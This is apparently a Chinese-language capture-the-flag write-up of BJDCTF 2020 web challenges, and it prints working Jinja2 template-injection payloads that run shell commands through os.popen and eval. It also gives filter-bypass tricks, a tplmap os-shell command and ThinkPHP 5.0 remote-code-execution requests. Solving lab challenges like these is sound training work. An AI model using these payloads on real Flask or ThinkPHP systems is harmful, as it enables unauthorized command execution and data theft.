WEB
总的来说就是我弱爆了
fake google
ssti
https://blog.csdn.net/qq_40657585/article/details/83657220
1 {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('cat app.py').read()") }}{% endif %}{% endfor %}
母鸡母鸡我擦了后面发现直接cat /flag就可以了
丢人
但是为什么ls不到呢?肯定是做题流程不对
题目后面可能改过了,好像把trick去掉了,原本cat /flag好像不能直接cat到,因为有BJD就会被ban,参考:https://github.com/BjdsecCA/BJDCTF2020_March,利用字符串切片方法
1 | {{ config.__class__.__init__.__globals__['os'].popen('cat /flag').read()[1:] }} |
还有base64绕过
1 | {{ config.__class__.__init__.__globals__['os'].popen('cat /flag | base64').read() }} |
为什么当时ls不到,因为:
ls 无参数时,显示当前目录下的文件。当前目录就是指,用户操作命令时,所处的目录,可用pwd看到
输入
1 | {{ config.__class__.__init__.__globals__['os'].popen('pwd').read() }} |
显示:

可以知道我是在app目录下,所以输入
1 | {{ config.__class__.__init__.__globals__['os'].popen('ls').read() }} |
只是显示app目录下的文件
而当我输入
1 | {{ config.__class__.__init__.__globals__['os'].popen('ls /').read() }} |
才是显示根目录的文件

我们的flag在根目录的flag文件内,所以要cat /flag
,若flag是在app目录下,就可以直接cat flag
另外的payload:
1 | (1) |
(4) 参考官方文档的payload
1 | {% for c in [].__class__.__base__.__subclasses__() %} |
方法一
按照:https://www.cnblogs.com/cioi/p/12308518.html
中的6.shell命令执行的方法二,是我觉得比较正确的做法,但是这里无法顺利复现,应该模板还有python版本的问题,原文:
1 | #利用 warnings.catch_warnings 进行命令执行 |
本题:
1 | {{{}.__class__.__base__.__subclasses__() }}#无法用index |
复制出来,利用找到warnings.catch_warnings的索引值为169

复制出来,利用sublime把逗号变成回车,找到warnings.catchwarnings的索引值为169
1 | {{[].__class__.__base__.__subclasses__()[169].__init__.__globals__.keys()}} |

并没有linecache,但是看到_builtins,接下来没有过滤都是常规操作,用eval函数执行代码,可以参考payload(3)
方法二
参考:https://xz.aliyun.com/t/3679
1 | {{"".__class__.__bases__[0].__subclasses__()}} |
找到os._wrap_close命令,索引值为117
1 | {{"".__class__.__base__.__subclasses__()[117]}} |
我目前觉得是base就是bases[0]
这个时候我们便可以利用.init.globals来找os类下的,init初始化类,然后globals全局来查找所有的方法及变量及参数。
1 | {{"".__class__.__bases__[0].__subclasses__()[117].__init__.__globals__}} |
此时我们可以在网页上看到各种各样的参数方法函数。我们找其中一个可利用的function popen,在python2中可找file读取文件,很多可利用方法,详情可百度了解下。

最后
1 | {{"".__class__.__bases__[0].__subclasses__()[117].__init__.__globals__['popen']('cat /flag').read()}} |
可以得到flag
别说了还有很多问题没解决
方法三
tplmap也可以直接cat /flag
1 | python tplmap.py -u http://9182f565-1d10-4df0-a421-1940ec21efff.node3.buuoj.cn/qaq?name=1 --os-shell |

另外推荐一个能把Python代码给编译成一句话的形式工具
官网 http://www.onelinerizer.com/
Github地址:https://github.com/csvoss/onelinerizer
old-hack
dir溢出?不知道什么蛇皮
参考:https://www.gem-love.com/ctf/2097.html#i-5
https://www.cnblogs.com/h3zh1/p/12549645.html
直接上exp,报错了,利用报错可以收集一些信息:
1 | http://eac4f212-547a-4fa5-9cc2-f02490ae4116.node3.buuoj.cn/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=dir |

之后找5.0.23的RCE
POST:
_method=__construct&filter[]=system&server[REQUEST_METHOD]=cat /flag
另外有一道php RCE的题:https://www.cnblogs.com/Cl0ud/p/12589768.html
elementmaster
一张图,保存到本地了,
纯脑洞题啊
有十六进制字符串,转换成文本就是Po.php
进入该页面看到一个点
这样的提示都不知道是遍历元素的php页面…
我就是那个懒得写脚本+找不到元素周期表字典的人了!
1 | import os |
若print(response.text),输出结果就不是连在一起的,
end=’’作用:为末尾end传递一个空字符串,这样print函数不会在字符串末尾添加一个换行符,而是添加一个空字符串,表示这个语句没结束。
进入这个php页面就看到flag了